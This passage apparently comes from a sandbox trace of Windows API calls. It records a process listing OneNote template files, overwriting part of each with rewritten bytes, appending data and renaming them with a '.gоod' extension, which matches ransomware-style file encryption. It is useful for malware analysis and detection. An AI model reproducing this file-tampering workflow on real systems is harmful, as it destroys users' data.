Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0264.202] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.203] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0264.203] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b428, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLANK.ONE", cAlternateFileName="")) returned 1 [0264.203] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7d35ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e630, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUSINESS.ONE", cAlternateFileName="")) returned 1 [0264.203] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7ad38b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER.ONE", cAlternateFileName="")) returned 1 [0264.203] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 1 [0264.203] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.203] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0264.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0264.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0264.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0264.203] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery", lpFilePart=0x0) returned 0x4b [0264.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0264.204] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.204] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0264.204] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b428, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLANK.ONE", cAlternateFileName="")) returned 1 [0264.204] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7d35ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e630, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUSINESS.ONE", cAlternateFileName="")) returned 1 [0264.204] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7ad38b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER.ONE", cAlternateFileName="")) returned 1 [0264.204] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 1 [0264.205] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 0 [0264.205] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0264.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0264.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0264.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", lpFilePart=0x0) returned 0x58 [0264.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0264.205] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), fInfoLevelId=0x0, lpFileInformation=0x3af5ef8 | out: lpFileInformation=0x3af5ef8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00)) returned 1 [0264.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0264.205] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", lpFilePart=0x0) returned 0x58 [0264.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.206] GetFileType (hFile=0x89c) returned 0x1 [0264.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.206] GetFileType (hFile=0x89c) returned 0x1 [0264.206] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0264.206] ReadFile (in: hFile=0x89c, lpBuffer=0x3af6360, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3af6360*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0264.207] CloseHandle (hObject=0x89c) returned 1 [0264.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", lpFilePart=0x0) returned 0x58 [0264.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.207] GetFileType (hFile=0x89c) returned 0x1 [0264.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.207] GetFileType (hFile=0x89c) returned 0x1 [0264.207] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x3dd00 [0264.208] WriteFile (in: hFile=0x89c, lpBuffer=0x3af7620*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3af7620*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0264.208] CloseHandle (hObject=0x89c) returned 1 [0264.208] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", lpFilePart=0x0) returned 0x58 [0264.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.209] GetFileType (hFile=0x89c) returned 0x1 [0264.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.209] GetFileType (hFile=0x89c) returned 0x1 [0264.209] ReadFile (in: hFile=0x89c, lpBuffer=0x3af9928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x3af9928*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0264.435] CloseHandle (hObject=0x89c) returned 1 [0264.435] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", lpFilePart=0x0) returned 0x58 [0264.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.435] GetFileType (hFile=0x89c) returned 0x1 [0264.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.435] GetFileType (hFile=0x89c) returned 0x1 [0264.436] WriteFile (in: hFile=0x89c, lpBuffer=0x3757908*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x3757908*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0264.436] CloseHandle (hObject=0x89c) returned 1 [0264.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE", lpFilePart=0x0) returned 0x58 [0264.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE.gоod", lpFilePart=0x0) returned 0x5d [0264.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0264.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99d4c801, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3dd10)) returned 1 [0264.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0264.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one.gоod")) returned 1 [0264.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", lpFilePart=0x0) returned 0x55 [0264.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0264.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), fInfoLevelId=0x0, lpFileInformation=0x38474d0 | out: lpFileInformation=0x38474d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b428)) returned 1 [0264.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0264.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", lpFilePart=0x0) returned 0x55 [0264.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.439] GetFileType (hFile=0x89c) returned 0x1 [0264.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.439] GetFileType (hFile=0x89c) returned 0x1 [0264.439] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0264.439] ReadFile (in: hFile=0x89c, lpBuffer=0x3847918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3847918*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0264.442] CloseHandle (hObject=0x89c) returned 1 [0264.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", lpFilePart=0x0) returned 0x55 [0264.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.442] GetFileType (hFile=0x89c) returned 0x1 [0264.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.442] GetFileType (hFile=0x89c) returned 0x1 [0264.443] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x2b428 [0264.443] WriteFile (in: hFile=0x89c, lpBuffer=0x3848bc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3848bc8*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0264.444] CloseHandle (hObject=0x89c) returned 1 [0264.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", lpFilePart=0x0) returned 0x55 [0264.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.444] GetFileType (hFile=0x89c) returned 0x1 [0264.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.444] GetFileType (hFile=0x89c) returned 0x1 [0264.444] ReadFile (in: hFile=0x89c, lpBuffer=0x384aea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x384aea0*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0264.469] SleepEx (dwMilliseconds=0x2, bAlertable=0) returned 0x0 [0264.567] CloseHandle (hObject=0x89c) returned 1 [0264.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", lpFilePart=0x0) returned 0x55 [0264.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.567] GetFileType (hFile=0x89c) returned 0x1 [0264.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.567] GetFileType (hFile=0x89c) returned 0x1 [0264.567] WriteFile (in: hFile=0x89c, lpBuffer=0x3849be0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x3849be0*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0264.568] CloseHandle (hObject=0x89c) returned 1 [0264.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE", lpFilePart=0x0) returned 0x55 [0264.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft 